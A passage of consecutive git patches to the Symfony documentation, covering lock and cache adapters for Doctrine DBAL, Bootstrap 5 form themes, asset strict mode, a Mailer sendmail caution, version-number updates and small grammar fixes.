+    $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
+
+In opposite to the ``DoctrineDbalStore``, the ``DoctrineDbalPostgreSqlStore`` does not need a table to
+store locks and does not expire.
+
+.. versionadded:: 5.4
+
+    The ``DoctrineDbalPostgreSqlStore`` was introduced in Symfony 5.4 to replace ``PostgreSqlStore`` when
+    used with Doctrine DBAL.
+
 .. _lock-store-redis:
 
 RedisStore
@@ -940,6 +1005,7 @@ are still running.
 .. _`Advisory Locks`: https://www.postgresql.org/docs/current/explicit-locking.html
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
 .. _`Expire Data from Collections by Setting TTL`: https://docs.mongodb.com/manual/tutorial/expire-data/
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
 .. _`MongoDB Connection String`: https://docs.mongodb.com/manual/reference/connection-string/

From df2463772c3f70b61a1be1df494de0c088cf5c6f Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Fri, 10 Dec 2021 14:57:30 +0100
Subject: [PATCH 1449/5766] Remove "enable_authenticator_manager" from Symfony
 6 docs

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 034b26bc4ae..136afc537da 100644
--- a/security.rst
+++ b/security.rst
@@ -27,7 +27,6 @@ creates a ``security.yaml`` configuration file for you:
 
     # config/packages/security.yaml
     security:
-        enable_authenticator_manager: true
         # https://symfony.com/doc/current/security.html#c-hashing-passwords
         password_hashers:
             Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'

From 374732440b37a938b1d27955341f5dde628e2457 Mon Sep 17 00:00:00 2001
From: Alex Ghiban <drew7721@gmail.com>
Date: Thu, 9 Dec 2021 16:41:51 -0500
Subject: [PATCH 1450/5766] Import jquery as the $ variable.

If we want to use the `$` for jQuery we need to import it as such.
---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index bed5c73c865..1e82c489104 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -182,7 +182,7 @@ Great! Use ``import`` to import ``jquery`` and ``greet.js``:
       // ...
 
     + // loads the jquery package from node_modules
-    + import jquery from 'jquery';
+    + import $ from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file

From b4221fbc8e6cffc336cc38dde34aded2f3899f55 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 11 Dec 2021 15:16:03 +0100
Subject: [PATCH 1451/5766] Add a warning about native://default for Mailer

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 97ad6215fa9..04079f9326c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,6 +93,11 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         in the ``sendmail_path`` setting of ``php.ini``. On Windows
                                                         hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
+                                                        Be warned that if ``php.ini`` uses the ``sendmail -t`` command,
+                                                        you won't have error reporting and ``Bcc`` headers won't be removed.
+                                                        It's highly recommended to NOT use this DSN as you cannot control
+                                                        how sendmail is configured (prefer using ``sendmail://default``
+                                                        if possible).
 ============  ========================================  ==============================================================
 
 Using a 3rd Party Transport

From 846e5b1219cab53f154f9d23b98b9869f8191486 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 07:55:59 -0400
Subject: [PATCH 1452/5766] Upgrade Bootstrap 4 theme references to Bootstrap 5
 theme

---
 form/form_customization.rst      |  2 +-
 form/form_themes.rst             |  6 +++---
 forms.rst                        | 12 ++++++------
 reference/configuration/twig.rst |  6 +++---
 4 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 120f4d52178..78434c258d7 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -258,7 +258,7 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
+    In the :ref:`error messages of Bootstrap 5 Form Theme <reference-forms-bootstrap5-error-messages>`,
     ``form_errors()`` is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 8c32184afb0..d8a264ede7c 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -76,7 +76,7 @@ want to use another theme for all the forms of your app, configure it in the
 
         # config/packages/twig.yaml
         twig:
-            form_themes: ['bootstrap_4_horizontal_layout.html.twig']
+            form_themes: ['bootstrap_5_horizontal_layout.html.twig']
             # ...
 
     .. code-block:: xml
@@ -91,7 +91,7 @@ want to use another theme for all the forms of your app, configure it in the
                 http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>bootstrap_4_horizontal_layout.html.twig</twig:form-theme>
+                <twig:form-theme>bootstrap_5_horizontal_layout.html.twig</twig:form-theme>
                 <!-- ... -->
             </twig:config>
         </container>
@@ -103,7 +103,7 @@ want to use another theme for all the forms of your app, configure it in the
 
         return static function (TwigConfig $twig) {
             $twig->formThemes([
-                'bootstrap_4_horizontal_layout.html.twig',
+                'bootstrap_5_horizontal_layout.html.twig',
             ]);
 
             // ...
diff --git a/forms.rst b/forms.rst
index 74fef0b6600..aa7ae514213 100644
--- a/forms.rst
+++ b/forms.rst
@@ -320,8 +320,8 @@ suitable for being rendered in an HTML form.
 
 As short as this rendering is, it's not very flexible. Usually, you'll need more
 control about how the entire form or some of its fields look. For example, thanks
-to the :doc:`Bootstrap 4 integration with Symfony forms </form/bootstrap4>` you
-can set this option to generate forms compatible with the Bootstrap 4 CSS framework:
+to the :doc:`Bootstrap 5 integration with Symfony forms </form/bootstrap5>` you
+can set this option to generate forms compatible with the Bootstrap 5 CSS framework:
 
 .. configuration-block::
 
@@ -329,7 +329,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
 
         # config/packages/twig.yaml
         twig:
-            form_themes: ['bootstrap_4_layout.html.twig']
+            form_themes: ['bootstrap_5_layout.html.twig']
 
     .. code-block:: xml
 
@@ -344,7 +344,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
                 https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>bootstrap_4_layout.html.twig</twig:form-theme>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
                 <!-- ... -->
             </twig:config>
         </container>
@@ -355,13 +355,13 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
         use Symfony\Config\TwigConfig;
 
         return static function (TwigConfig $twig) {
-            $twig->formThemes(['bootstrap_4_layout.html.twig']);
+            $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...
         };
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
-Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
+Bootstrap 3, 4 and 5, Foundation 5 and 6, as well as Tailwind 2. You can also
 :ref:`create your own Symfony form theme <create-your-own-form-theme>`.
 
 In addition to form themes, Symfony allows you to
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index b4893beabae..c673bf7fca8 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -182,7 +182,7 @@ all the forms of the application:
 
         # config/packages/twig.yaml
         twig:
-            form_themes: ['bootstrap_4_layout.html.twig', 'form/my_theme.html.twig']
+            form_themes: ['bootstrap_5_layout.html.twig', 'form/my_theme.html.twig']
             # ...
 
     .. code-block:: xml
@@ -197,7 +197,7 @@ all the forms of the application:
                 http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>bootstrap_4_layout.html.twig</twig:form-theme>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
                 <twig:form-theme>form/my_theme.html.twig</twig:form-theme>
                 <!-- ... -->
             </twig:config>
@@ -210,7 +210,7 @@ all the forms of the application:
 
         return static function (TwigConfig $twig) {
             $twig->formThemes([
-                'bootstrap_4_layout.html.twig',
+                'bootstrap_5_layout.html.twig',
                 'form/my_theme.html.twig',
             ]);
 

From a0f9329cff33b3b0cdbe9e2ba700d51b1d573777 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 10:38:27 -0400
Subject: [PATCH 1453/5766] Change upgrade-minor.rst to reference Symfony 5

---
 setup/upgrade_minor.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 09508c0469d..a6a23b787f1 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Minor Version
 
-Upgrading a Minor Version (e.g. 4.0.0 to 4.1.0)
+Upgrading a Minor Version (e.g. 5.0.0 to 5.1.0)
 ===============================================
 
 If you're upgrading a minor version (where the middle number changes), then
@@ -24,7 +24,7 @@ There are two steps to upgrading a minor version:
 The ``composer.json`` file is configured to allow Symfony packages to be
 upgraded to patch versions. But to upgrade to a new minor version, you will
 probably need to update the version constraint next to each library starting
-``symfony/``. Suppose you are upgrading from Symfony 4.3 to 4.4:
+``symfony/``. Suppose you are upgrading from Symfony 5.3 to 5.4:
 
 .. code-block:: diff
 
@@ -32,12 +32,12 @@ probably need to update the version constraint next to each library starting
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "4.3.*",
-    +         "symfony/cache": "4.4.*",
-    -         "symfony/config": "4.3.*",
-    +         "symfony/config": "4.4.*",
-    -         "symfony/console": "4.3.*",
-    +         "symfony/console": "4.4.*",
+    -         "symfony/cache": "5.3.*",
+    +         "symfony/cache": "5.4.*",
+    -         "symfony/config": "5.3.*",
+    +         "symfony/config": "5.4.*",
+    -         "symfony/console": "5.3.*",
+    +         "symfony/console": "5.4.*",
               "...": "...",
 
               "...": "A few libraries starting with
@@ -57,8 +57,8 @@ Your ``composer.json`` file should also have an ``extra`` block that you will
       "extra": {
           "symfony": {
               "...": "...",
-    -         "require": "4.3.*"
-    +         "require": "4.4.*"
+    -         "require": "5.3.*"
+    +         "require": "5.4.*"
           }
       }
 
@@ -82,7 +82,7 @@ to your code to get everything working. Additionally, some features you're
 using might still work, but might now be deprecated. While that's fine,
 if you know about these deprecations, you can start to fix them over time.
 
-Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-4.4.md`_)
+Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-5.4.md`_)
 included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
@@ -94,4 +94,4 @@ These documents can also be found in the `Symfony Repository`_.
 .. include:: /setup/_update_recipes.rst.inc
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
-.. _`UPGRADE-4.4.md`: https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md
+.. _`UPGRADE-5.4.md`: https://github.com/symfony/symfony/blob/5.4/UPGRADE-5.4.md

From d186765328282c6748b6873e2d236b605ddd2564 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 10:41:45 -0400
Subject: [PATCH 1454/5766] Change upgrade_patch.rst to reference Symfony 6

---
 setup/upgrade_patch.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_patch.rst b/setup/upgrade_patch.rst
index 632f6602550..ee59a811871 100644
--- a/setup/upgrade_patch.rst
+++ b/setup/upgrade_patch.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Patch Version
 
-Upgrading a Patch Version (e.g. 5.0.0 to 5.0.1)
+Upgrading a Patch Version (e.g. 6.0.0 to 6.0.1)
 ===============================================
 
 When a new patch version is released (only the last number changed), it is a

From 68fed1b5c0dd81e70a3a9299094f31084f7ec0ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Thu, 7 Oct 2021 22:45:09 +0200
Subject: [PATCH 1455/5766] [Cache] Split PdoAdapter to DoctrineDbalAdapter

---
 .../adapters/pdo_doctrine_dbal_adapter.rst    | 66 ++++++++++++++++---
 1 file changed, 57 insertions(+), 9 deletions(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index b840da76de7..1f1cd08c8d5 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -7,16 +7,26 @@
 PDO & Doctrine DBAL Cache Adapter
 =================================
 
-This adapter stores the cache items in an SQL database. It requires a :phpclass:`PDO`,
-`Doctrine DBAL Connection`_, or `Data Source Name (DSN)`_ as its first parameter, and
-optionally a namespace, default cache lifetime, and options array as its second,
-third, and forth parameters::
+The PDO and Doctrine DBAL adapters store the cache items in a table of an SQL database.
+
+.. note::
+
+    Adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
+    calling the ``prune()`` method.
+
+Using :phpclass:`PDO`
+---------------------
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
+or `Data Source Name (DSN)`_ as its first parameter, and optionally a namespace,
+default cache lifetime, and options array as its second, third, and forth parameters::
 
     use Symfony\Component\Cache\Adapter\PdoAdapter;
 
     $cache = new PdoAdapter(
 
-        // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+        // a PDO connection or DSN for lazy connecting through PDO
         $databaseConnectionOrDSN,
 
         // the string prefixed to the keys of the items stored in this cache
@@ -37,16 +47,54 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
 your code.
 
+.. deprecated:: 5.4
+
+    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
+    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
+    and will be removed in Symfony 6.0.
+    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
+
 .. tip::
 
     When passed a `Data Source Name (DSN)`_ string (instead of a database connection
-    class instance), the connection will be lazy-loaded when needed.
+    class instance), the connection will be lazy-loaded when needed. DBAL Connection
+    are lazy-loaded by default; some additional options may be necessary to detect
+    the database engine and version without opening the connection.
+
+
+Using Doctrine DBAL
+-------------------
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
+`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter, and
+optionally a namespace, default cache lifetime, and options array as its second,
+third, and forth parameters::
+
+    use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
+
+    $cache = new DoctrineDbalAdapter(
+
+        // a Doctrine DBAL connection or DBAL URL
+        $databaseConnectionOrURL,
+
+        // the string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
+        // until the database table is truncated or its rows are otherwise deleted)
+        $defaultLifetime = 0,
+
+        // an array of options for configuring the database table and connection
+        $options = []
+    );
 
 .. note::
 
-    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
-    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
-    calling its ``prune()`` method.
+    DBAL Connection are lazy-loaded by default; some additional options may be
+    necessary to detect the database engine and version without opening the
+    connection.
 
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 474f858f9309aaed95da1cfbebcef0c7d9e5ed82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Dec 2021 12:41:34 +0100
Subject: [PATCH 1456/5766] Move the contents to a caution admonition

---
 mailer.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 04079f9326c..081a88dea24 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,13 +93,15 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         in the ``sendmail_path`` setting of ``php.ini``. On Windows
                                                         hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
-                                                        Be warned that if ``php.ini`` uses the ``sendmail -t`` command,
-                                                        you won't have error reporting and ``Bcc`` headers won't be removed.
-                                                        It's highly recommended to NOT use this DSN as you cannot control
-                                                        how sendmail is configured (prefer using ``sendmail://default``
-                                                        if possible).
 ============  ========================================  ==============================================================
 
+.. caution::
+
+    When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
+    command, you won't have error reporting and ``Bcc`` headers won't be removed.
+    It's highly recommended to NOT use ``native://default`` as you cannot control
+    how sendmail is configured (prefer using ``sendmail://default`` if possible).
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c4e19eb6fed4983470af73823d5ce63a92a7d0d9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Wed, 14 Oct 2020 22:26:13 +0200
Subject: [PATCH 1457/5766] [Assets] Add doc for strict mode strategy

---
 components/asset.rst                  | 20 ++++++++++++++++++++
 reference/configuration/framework.rst | 25 +++++++++++++++++++++++--
 2 files changed, 43 insertions(+), 2 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 5044ef2dab9..cacb8bbe6c8 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -167,6 +167,26 @@ In those cases, use the
     echo $package->getUrl('css/app.css');
     // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css
 
+If you request an asset that is *not found* in the ``rev-manifest.json`` file, the original -
+*unmodified* - asset path will be returned.
+The ``$strictMode`` argument helps for debugging as it throws an exception when the asset is
+not listed in the manifest::
+
+    use Symfony\Component\Asset\Package;
+    use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
+
+    // The value of $strictMode can be specific per environment "true" for debugging and "false" for stability.
+    $strictMode = true;
+    // assumes the JSON file above is called "rev-manifest.json"
+    $package = new Package(new JsonManifestVersionStrategy(__DIR__.'/rev-manifest.json', null, $strictMode));
+
+    echo $package->getUrl('not-found.css');
+    // error:
+
+.. versionadded:: 5.4
+
+    The ``$strictMode`` option was introduced in Symfony 5.4.
+
 If your JSON file is not on your local filesystem but is accessible over HTTP,
 use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
 with the :doc:`HttpClient component </http_client>`::
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6f09d0cb7b6..20687485b16 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1879,6 +1879,7 @@ Each package can configure the following options:
 * :ref:`version <reference-framework-assets-version>`
 * :ref:`version_format <reference-assets-version-format>`
 * :ref:`json_manifest_path <reference-assets-json-manifest-path>`
+* :ref:`strict_mode <reference-assets-strict-mode>`
 
 .. _reference-framework-assets-version:
 .. _ref-framework-assets-version:
@@ -2122,6 +2123,8 @@ package:
                     foo_package:
                         # this package uses its own manifest (the default file is ignored)
                         json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json"
+                        # Throws an exception when an asset is not found in the manifest
+                        strict_mode: %kernel.debug%
                     bar_package:
                         # this package uses the global manifest (the default file is used)
                         base_path: '/images'
@@ -2142,9 +2145,10 @@ package:
                 <!-- you can use absolute URLs too and Symfony will download them automatically -->
                 <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
                     <!-- this package uses its own manifest (the default file is ignored) -->
+                    <!-- Throws an exception when an asset is not found in the manifest -->
                     <framework:package
                         name="foo_package"
-                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json"/>
+                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/>
                     <!-- this package uses the global manifest (the default file is used) -->
                     <framework:package
                         name="bar_package"
@@ -2168,7 +2172,9 @@ package:
             // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
             $framework->assets()->package('foo_package')
                 // this package uses its own manifest (the default file is ignored)
-                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json');
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json')
+                // Throws an exception when an asset is not found in the manifest
+                ->setStrictMode('%kernel.debug%');
 
             $framework->assets()->package('bar_package')
                 // this package uses the global manifest (the default file is used)
@@ -2190,11 +2196,26 @@ package:
 
     If you request an asset that is *not found* in the ``manifest.json`` file, the original -
     *unmodified* - asset path will be returned.
+    Since Symfony 5.4, you can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
 
 .. note::
 
     If an URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
 
+.. _reference-assets-strict-mode:
+
+strict_mode
+...........
+
+**type**: ``boolean`` **default**: ``false``
+
+When enabled, the strict mode assert that all requested assets are in the manifest file.
+This option is useful to detect typo or missing assets, the recommended value is ``%kernel.debug%``.
+
+.. versionadded:: 5.4
+
+    This option was introduced in Symfony 5.4.
+
 translator
 ~~~~~~~~~~
 

From d8da24781dd643da6cbdc8355eb2dec3945355ce Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 13 Dec 2021 15:24:12 +0100
Subject: [PATCH 1458/5766] fix a small grammar issue

---
 contributing/code/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index e3aa1d4660e..22a9bea5184 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -109,7 +109,7 @@ Symfony contributions:
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-About once a year, the core team discuss the opportunity to invite new members.
+About once a year, the core team discusses the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3e4cd5e9e5e0b23a8eabf2469f5e62d296ffeca2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Dec 2021 17:24:35 +0100
Subject: [PATCH 1459/5766] Tweaks

---
 components/asset.rst                  | 8 ++++----
 reference/configuration/framework.rst | 9 +++++----
 2 files changed, 9 insertions(+), 8 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index cacb8bbe6c8..92de7ec5ef7 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -167,10 +167,10 @@ In those cases, use the
     echo $package->getUrl('css/app.css');
     // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css
 
-If you request an asset that is *not found* in the ``rev-manifest.json`` file, the original -
-*unmodified* - asset path will be returned.
-The ``$strictMode`` argument helps for debugging as it throws an exception when the asset is
-not listed in the manifest::
+If you request an asset that is *not found* in the ``rev-manifest.json`` file,
+the original - *unmodified* - asset path will be returned. The ``$strictMode``
+argument helps debug issues because it throws an exception when the asset is not
+listed in the manifest::
 
     use Symfony\Component\Asset\Package;
     use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 20687485b16..25ad2caaa1d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2209,12 +2209,13 @@ strict_mode
 
 **type**: ``boolean`` **default**: ``false``
 
-When enabled, the strict mode assert that all requested assets are in the manifest file.
-This option is useful to detect typo or missing assets, the recommended value is ``%kernel.debug%``.
-
 .. versionadded:: 5.4
 
-    This option was introduced in Symfony 5.4.
+    The ``strict_mode`` option was introduced in Symfony 5.4.
+
+When enabled, the strict mode asserts that all requested assets are in the
+manifest file. This option is useful to detect typos or missing assets, the
+recommended value is ``%kernel.debug%``.
 
 translator
 ~~~~~~~~~~

From f2e2bca4e421fc9fd192cc80fcc39fdd897f6308 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Dec 2021 17:25:14 +0100
Subject: [PATCH 1460/5766] Remove the versionadded directive

---
 components/asset.rst                  | 4 ----
 reference/configuration/framework.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index a629392c27b..9301c091164 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -183,10 +183,6 @@ listed in the manifest::
     echo $package->getUrl('not-found.css');
     // error:
 
-.. versionadded:: 5.4
-
-    The ``$strictMode`` option was introduced in Symfony 5.4.
-
 If your JSON file is not on your local filesystem but is accessible over HTTP,
 use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
 with the :doc:`HttpClient component </http_client>`::
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index bd17a7c4344..9e3fc066d5d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2123,10 +2123,6 @@ strict_mode
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.4
-
-    The ``strict_mode`` option was introduced in Symfony 5.4.
-
 When enabled, the strict mode asserts that all requested assets are in the
 manifest file. This option is useful to detect typos or missing assets, the
 recommended value is ``%kernel.debug%``.

From aeda1b402adee4e3b038136424e9741da53233fd Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 13 Dec 2021 17:16:28 -0400
Subject: [PATCH 1461/5766] Correct spelling mistakes

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 7c2e7536d98..795c9349437 100644
--- a/setup.rst
+++ b/setup.rst
@@ -117,7 +117,7 @@ to run this command which displays information about the project:
 Running Symfony Applications
 ----------------------------
 
-In production, you should install a webserver like Nginx or Apache and
+In production, you should install a web server like Nginx or Apache and
 :doc:`configure it to run Symfony </setup/web_server_configuration>`. This
 method can also be used if you're not using the Symfony local web server for
 development.
@@ -183,7 +183,7 @@ and enables all the packages needed to use the official Symfony logger.
 
 This is possible because lots of Symfony packages/bundles define **"recipes"**,
 which are a set of automated instructions to install and enable packages into
-Symfony applications. Flex keeps tracks of the recipes it installed in a
+Symfony applications. Flex keeps track of the recipes it installed in a
 ``symfony.lock`` file, which must be committed to your code repository.
 
 Symfony Flex recipes are contributed by the community and they are stored in

From 4cae90a0b27b428dff44621ac49573e02f9a95d2 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 13 Dec 2021 17:21:05 -0400
Subject: [PATCH 1462/5766] Correct spelling & grammar in page-creation.rst

---
 page_creation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 7a55a8ce5bf..5d82850d410 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -79,12 +79,12 @@ That's it! If you are using Symfony web server, try it out by going to: http://l
 
 If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
-to creating a page?
+to create a page?
 
 #. *Create a controller and a method*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
    in their own section, including how to return JSON responses;
-   
+
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
    in its own section, including how to make *variable* URLs.
@@ -140,7 +140,7 @@ Second, after this package was downloaded, Flex runs a *recipe*, which is a
 set of automated instructions that tell Symfony how to integrate an external
 package. `Flex recipes`_ exist for many packages and have the ability
 to do a lot, like adding configuration files, creating directories, updating ``.gitignore``
-and adding new config to your ``.env`` file. Flex *automates* the installation of
+and adding a new config to your ``.env`` file. Flex *automates* the installation of
 packages so you can get back to coding.
 
 The bin/console Command

From 1ab923e9bdca842171662e0116bb70d696a5f0e8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 13 Dec 2021 17:25:30 -0400
Subject: [PATCH 1463/5766] Correct spelling & grammar in routing.rst

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index bd014cfcfb6..56eeefcd7fd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -583,7 +583,7 @@ URL                       Route          Parameters
     Parameters also support `PCRE Unicode properties`_, which are escape
     sequences that match generic character types. For example, ``\p{Lu}``
     matches any uppercase character in any language, ``\p{Greek}`` matches any
